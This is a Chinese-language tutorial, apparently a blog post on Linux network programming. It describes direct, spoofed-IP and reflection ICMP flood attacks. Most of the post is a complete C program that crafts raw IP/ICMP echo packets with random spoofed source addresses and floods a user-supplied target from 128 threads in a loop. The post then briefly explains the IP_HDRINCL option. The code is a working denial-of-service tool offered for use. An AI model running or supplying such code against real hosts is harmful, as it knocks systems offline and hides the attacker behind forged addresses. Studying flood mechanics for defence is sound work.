一、ICMP洪水攻击的原理
ICMP Flood 是一种在ping基础上形成的,但是用ping程序很少能造成目标机宕机的问题,这里边最大的问题是提高处理的速度,ICMP洪水攻击主要有以下3种方式。
(1)直接洪水攻击:这样做需要本地主机的带宽与目标主机之间带宽进行比拼,可以采用多线程的方法一次性得发送多个ICMP请求报文,让目标主机处理过程出现问题而速度缓慢或者宕机。直接攻击的方法有一个缺点,就是可以根据来源的ip地址屏蔽攻击源,并且目标源容易暴露,被对方反攻击。
(2)伪装IP攻击:在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址代替,将直接洪水攻击的缺点进行了改进。
(3)反射攻击:与直接攻击和伪装攻击不同,反射攻击不是直接对目标机进行攻击,而是让其他一群主机误以为目标机在向它们发送ICMP请求包,一群主机向目标机发送ICMP回应包,攻击方向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。
ICMP洪水攻击的例子(伪装IP攻击),参考Linux网络编程:
//icmp攻击
//使用方式:./icmp ip(域名)
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
//最多线程数
#define MAXCHILD 128
//目的IP地址
struct sockaddr_in dest;
//ICMP协议的值
static int PROTO_ICMP = -1;
//程序活动标志
static int alive = -1;
static int rawsock;
static void DoS_icmp (void )
{
struct sockaddr_in to;
struct ip *iph;
struct icmp *icmph;
char *packet;
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;
packet =(char *)malloc (pktsize);
iph = (struct ip *) packet; //定位IP报头部
icmph = (struct icmp *) (packet + sizeof (struct ip)); //定位上层协议位置(ICMP报文头部)
memset (packet, 0, pktsize);
//IP的版本,IPv4
iph->ip_v = 4;
//IP头部长度,字节数
iph->ip_hl = 5;
//服务类型
iph->ip_tos = 0;
//IP报文的总长度
iph->ip_len = htons (pktsize);
//标识,设置为PID
iph->ip_id = htons (getpid ());
//段的偏移地址
iph->ip_off = 0;
//TTL
iph->ip_ttl = 255;
//协议类型
iph->ip_p = PROTO_ICMP;
//校验和,先填写为0
iph->ip_sum = 0;
//发送的源地址,随机创建
iph->ip_src.s_addr =random();
//发送目标地址
iph->ip_dst = dest.sin_addr;
//ICMP类型为回显请求
icmph->icmp_type = ICMP_ECHO;
//代码为0
icmph->icmp_code = 0;
//由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算
icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));
//填写发送目的地址部分
to.sin_family = AF_INET;
to.sin_addr = dest.sin_addr;
to.sin_port = htons(0);
//发送数据
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
//放内存
free (packet);
}
void *DoS_fun (void * ip)
{
while(alive)
{
DoS_icmp();
}
return NULL;
}
//信号处理函数,设置退出变量alive
void DoS_sig(int signo)
{
alive = 0;
}
int main(int argc, char *argv[])
{
struct hostent * host = NULL;
struct protoent *protocol = NULL;
char protoname[]= "icmp"; //协议名字
int i = 0;
pthread_t pthread[MAXCHILD]; //线程标志数组
int err = -1;
socklen_t on=1;
alive = 1;
//截取信号CTRL+C
signal(SIGINT, DoS_sig); //设置信号处理函数
// 参数是否数量正确
if(argc < 2)
{
printf("usage : \n");
return -1;
}
// 获取协议类型ICMP
protocol = getprotobyname(protoname); //获取指定协议的信息
if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_ICMP = protocol->p_proto; //ICMP协议的值
//输入的目的地址为字符串IP地址
dest.sin_addr.s_addr = inet_addr(argv[1]);
if(dest.sin_addr.s_addr == INADDR_NONE)
{
//为DNS地址
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
char str[30];
// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
// dest.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
inet_aton(inet_ntop(host->h_addrtype,host->h_addr,str,30),&(dest.sin_addr));
}
//printf("dst ip: %s\n", inet_ntoa(dest.sin_addr));
// 建立原始socket
rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
if (rawsock < 0)
{
perror("socket error");
exit(1);
}
// 设置IP选项,自己构建IP报头部
setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//建立多个线程协同工作
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);
}
//等待线程结束
for(i=0; i<MAXCHILD; i++)
pthread_join(pthread[i], NULL);
printf("over \n");
close(rawsock);
return 0;
}
程序很简单,通过
setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
让构建IP头部的过程由自己实现,那么这样自己便可以控制源IP地址了,编写完了IP头部,在后面加上ICMP头部信息即可,这里没有ICMP没有携带数据,关于ICMP的详细的信息可以参考:
Linux网络编程---ICMP协议分析及ping程序实现,这里面有详细说明,理解了这个,再看这个例子就非常简单了。
抓包展示: